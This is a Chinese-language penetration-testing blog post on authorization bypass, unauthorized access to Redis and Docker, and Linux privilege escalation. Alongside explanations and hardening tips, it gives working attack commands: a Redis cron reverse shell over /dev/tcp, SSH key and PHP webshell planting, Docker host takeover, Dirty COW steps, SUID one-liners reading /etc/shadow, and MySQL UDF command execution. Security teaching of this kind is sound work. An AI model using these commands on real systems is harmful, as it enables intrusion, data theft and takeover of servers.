越权、提权与未授权访问

本文最后更新于:几秒前

越权

漏洞描述:

应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不充分,就易致越权漏洞。

越权的分类

2021_10_dec04241fe7b437175a4f970eaec96dd

水平越权

指攻击者访问与他拥有相同权限的用户资源。例如:A、B 具有相同的用户角色,拥有相同的权限等级。通常来讲A、B只能访问各自所拥有的资源,但是,如果系统只验证了用户的权限,没有对数据进行权限的细分,则会导致A能访问到B的数据、B能访问到A的数据,这种行为就称为水平越权访问。如下图所示:

Snipaste_2021-10-04_09-51-13

垂直越权

垂直越权指开发者只在前端做了权限控制,后端程序没有做权限控制,恶意用户只需要猜测其他管理界面的URL或者参数信息即可访问或控制其他角色拥有的数据。如下图所示:

Snipaste_2021-10-04_09-55-52

产生的原因

  1. 隐藏的URL

    实现控制访问有些程序的管理员的管理页面只有管理员才显示,普通用户看不到,利用 URL 实现访问控制,但 URL 泄露或被恶意攻击者猜到后,这会导致越权攻击。

  2. 直接对象引用

    这种通过修改一下参数就可以产生水平越权,例如查看用户信息页面 URL 后加上自己的 id 便可查看,当修改为他人的 ID 号时会返回他人的信息,便产生了水平越权。

  3. 多阶段功能

    一个功能有多个阶段实现,但是只在第一阶段验证了用户身份,后边几步不对用户身份进行验证,这导致攻击者可以通过抓包直接修改参数值,进行越权访问。

  4. 静态文件

    很多网站的下载功能,一些被下载的静态文件,例如 pdf、word、xls 等,可能只有付费用户或会员可下载,但当这些文件的 URL 地址泄露后,导致任何人可下载,如果知道 URL 命名规则,则会便利服务器的收费文档进行批量下载。

防护措施

  • 对用户输入的数据进行校验。
  • 关键操作必须验证用户身份。
  • 对直接引用对象的资源ID进行加密。
  • 对参数进行严格的检查与过滤。

未授权访问

漏洞描述:

未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。

常见的未授权访问漏洞:

目前主要存在未授权访问漏洞的有: NFS,Samba,Rsync,FTP,MongoDB,Redis,ElasticSearch,Memcache,Docker等

Redis 未授权访问:

漏洞描述:

Redis 因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行 flushall 来清空所有数据。如果 Redis 以 root 身份运行,可以给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录受害服务器。

漏洞利用:

  1. 利用计划任务执行命令反弹shell

    前提: Redis 以Root权限执行

    1
    2
    3
    4
    5
    redis-cli -h [your host]
    set x "\n* * * * * bash -i >& /dev/tcp/[your host]/4444 0>&1\n"
    config set dir /var/spool/cron/
    config set dbfilename root
    save
  2. 写入SSH-Keygen

    前提:Redis 以Root权限运行

    1
    2
    3
    4
    5
    redis-cli -h [your host]
    set x [your keygen]
    config set dir /home/[username]/.ssh/
    config set dbfilename "authorized_keys"
    save
  3. 获取web服务的webshell

    前提:知晓对方web服务根目录,可以通过config get 来获取

    1
    2
    3
    4
    config set dir /var/www/html/
    config set dbfilename shell.php
    set x "<?php @eval($_POST['caidao']);?>"
    save

漏洞加固:

​ 修改redis.conf

  • bind 127.0.0.1 限定本地监听
  • requirepass [password] 设置登录密码
  • 使用防火墙限制访问IP。

Docker 未授权访问

漏洞描述:

该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker。
Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异,都是通过向运行该应用的服务器写文件,从而拿到服务器的权限。

漏洞利用:

写入SSH-Keygen:

docker -H tcp://[目标IP]:2375 run –rm –privileged -it -v /:/mnt busybox chroot /mnt sh

参数解释:

-privikeged 使用该参数时,container内的root拥有真正的root权限。可以查看Host的设备,以及Mount分区。

-v 挂载目录。 系统目录:容器目录

之后编辑authorized_keys 文件,即可实现远程登录。

提权

漏洞描述:

在渗透测试过程中,提升权限是非常关键的一步,攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点,来达到提升权限的目的。

常用提权方式:

内核漏洞提权 :

1
2
3
4
# 查看系统发行版本
lsb_release -a
# 查看内核版本
uname -a

下载相应exp,编译后上传到目标主机执行即可。这里以脏牛漏洞为例。

影响范围:

CnetOS6 和 RHEL6 全部版本都有这个漏洞,CentOS7.1 和 7.2 有这个漏洞,从 CentOS7.3 开始,该漏洞被修 复了;SUSE 11版全部有这个漏洞。

  1. 查找可利用的代码:PoCs · dirtycow/dirtycow.github.io Wiki

  2. 下载C++ 源码,并进行编译。 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp - lutil

  3. 将生成的可执行文件上传到目标主机,执行即可。

另一种方式: 使用Linux提权辅助工具

1
https://github.com/mzet-/linux-exploit-suggester.git # Github 项目地址

上传到目标主机,执行脚本会自动根据发行版本查找可利用的POC,编译执行即可。

利用SUID提权:

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。

漏洞利用:

  1. 在Linux中查找可以用来提权的SUID文件 find / -perm -u=s -type f 2>/dev/null
  2. Kali searchexploit工具查找响应的利用脚本即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 常用的提权命令:
#Find
find file -exec whoami \;
#Vim
vim.tiny /etc/shadow
#awk
awk 'BEGIN{system("whoami")}'
#curl
curl file:///etc/shadow
#Bash
bash -p
#Less
less /etc/passwd
#Nmap
nmap --interactive

数据库提权:

漏洞说明:

所谓利用数据库进行提权,利用的其实是数据库的运行权限。

Mysql:通常使用MOF,UDF,启动项提权。

MSSQL: 通常使用 xp_cmdshell 提权,SP_OACreate提权,xp_regwrite 注册表存储过程提权。

这里以Mysql on Linux 为例:

漏洞利用:

前提: Mysql 以Root权限运行,同时我们具有执行SQL语句的权限。

  1. 获取主机的普通用户权限后,查找一下网站的配置文件,找到连接数据库的用户名密码。

  2. 登录Mysql数据库,确定Plugin的路径: show variables like ‘%plugin%’;

  3. 在sqlmap中查找相对应体系结构的UDF文件。将其16进制编码后,通过select unhex('[Payload]') into dumpfile '[path]/filename.so' 写入到Plugins目录。

  4. 执行创建函数命令: create function sys_eval returns string soname '[filename.so]'; 即可。

  5. 通过select sys_eval('[command]'); 即可完成提权。


越权、提权与未授权访问
https://blog.icansudo.top/2020/04/23/越权提权与未授权访问/
作者
odin
发布于
2020年4月23日
许可协议